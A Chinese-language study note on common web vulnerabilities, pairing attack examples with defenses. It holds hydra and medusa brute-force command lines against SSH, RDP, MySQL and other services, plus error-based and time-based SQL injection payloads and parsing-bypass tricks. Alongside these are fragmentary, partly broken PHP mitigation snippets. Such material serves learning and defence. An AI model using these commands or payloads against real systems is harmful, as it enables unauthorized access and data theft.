暴力破解,是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。如2014年轰动全国的12306撞库事件,实质就是暴力破解攻击。
破解MySQL
hydra -L user.txt -P pass.txt 192.168.0.1 mysql
破解FTP
hydra -l admin -P pass.txt -t 5 192.168.0.1 ftp
破解ssh
hydra -L user.txt -P pass.txt -e -n -t 5 -vV 192.168.0.1 ssh
破解rdp
hydra -l administrator -P pass.txt www.xxx.com rdp -V
破解pop3
hydra -l root -P pass.txt my.pop3.mail pop3
特性:
破解示例:
破解smbnt
medusa -h www.xxx.com -u administrator -P pass.txt -e -ns -M smbnt
破解MySQL
medusa -h 192.168.0.1 -u root -P pass.txt -M mysql
破解MSSQL
medusa -h 192.168.0.1 -u sa -P pass.txt -t 5 -f -M mssql
破解SSH
medusa -M ssh -H host.txt -U user.txt -P password
抓包send to intruder,寻找标志位、配置参数,start attack
密码复杂性
1.对重要的应用系统,密码长度最低为6位以上
2.不能以关键特征为密码
3.用户名与密码之间不能有任何联系
4.客户端自定义密码复杂性方案
验证码措施
使用验证码可以有效防止恶意破解密码、刷票、灌水等恶意行为。但验证码同样也会带来安全问题:
1.没有及时销毁session,导致验证码复用
2.没有进行session中验证码的非空判断
3.session中验证码数量有限,导致暴力绕过
4.验证码不够模糊,导致OCR识别
限制登录错误次数
当用户登陆时,不是直接登录,而是先在登录日志中查找用户登录错误的次数、时间等信息。如果操作连续错误、失败,那么将采取一定措施限制登录
prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "
This account has been locked due to too many incorrect logins.
";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "
";
print "The timenow is: " . date ("h:i:s", $timenow) . "
";
print "The timeout is: " . date ("h:i:s", $timeout) . "
";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked
";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "Welcome to the password protected area {$user}
";
echo "";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "Warning: Someone might of been brute forcing your account.
";
echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
updatexml
select * from message where id = 1 and updatexml(1,(concat(0x7C,(select @@version))),1);
extractvalue
select * from message where id =1 and extractvalue(1,concat(0x7C,(select user())));
floor
select * from message where id =1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
select * from users where id = 1 and sleep(3)
魔术引号:magic_quotes_gpc选项开启时,单引号、双引号、反斜线、空字符都会被自动加上一个反斜线转义。注入类型是字符型时无法构成注入。
可以通过宽字节突破PHP的转义,继续闭合SQL语句进行注入。
在’ ; '结束一个sql语句后继续构造下一条语句,造成堆叠注入。
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
命令执行漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。
攻击者通过unserialize()控制_destruct()
或_wakeup()
中函数的输入,攻击payload可以先模仿目标代码的实现过程,然后再通过调用serialize()获得。
{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
IIS解析漏洞
1.建立.asa、.asp格式的文件夹,其目录下文件都将被当作asp文件解析。
2.文件名为*.asp;1.jpg,IIS6.0会以asp脚本执行
Apache解析漏洞
Apache1.x和2.x遇到不认识扩展名时,会从后往前解析
PHP CGI解析漏洞
cgi.fi:x_pathinfo开启,当访问不存在的文件时,php会向前递归解析
${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件而无需再次编写,这种调用文件的过程被称为包含。被包含的文件设置为变量,用来动态调用时,导致客户端可以调用一个恶意文件,造成文件包含漏洞。
白名单机制,只允许包含白名单中的文件。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
将预定义字符转化为HTML实体(&、"、’、<、>)
输入与输出
1.标签内输出
2.属性内输出
3.事件中输出
4.CSS中输出
5.Script标签中输出
HttpOnly
浏览器向服务器发送请求,服务器返回时发送Set-Cookie头向客户端浏览器写入Cookie,HttpOnly则是在这个时候标记的,以解决XSS后的Cookie劫持攻击。
Reflected:
Hello ${name}
";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Stored:
prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
跨站请求伪造,也被称为one-click attack或者session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
同源策略是浏览器的一个安全限制,从一个源加载的文档或者脚本默认不能访问另一个源的资源。例如a.com/111/html页面不能访问b.com/person这种接口,因为他们是不同的源。
prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>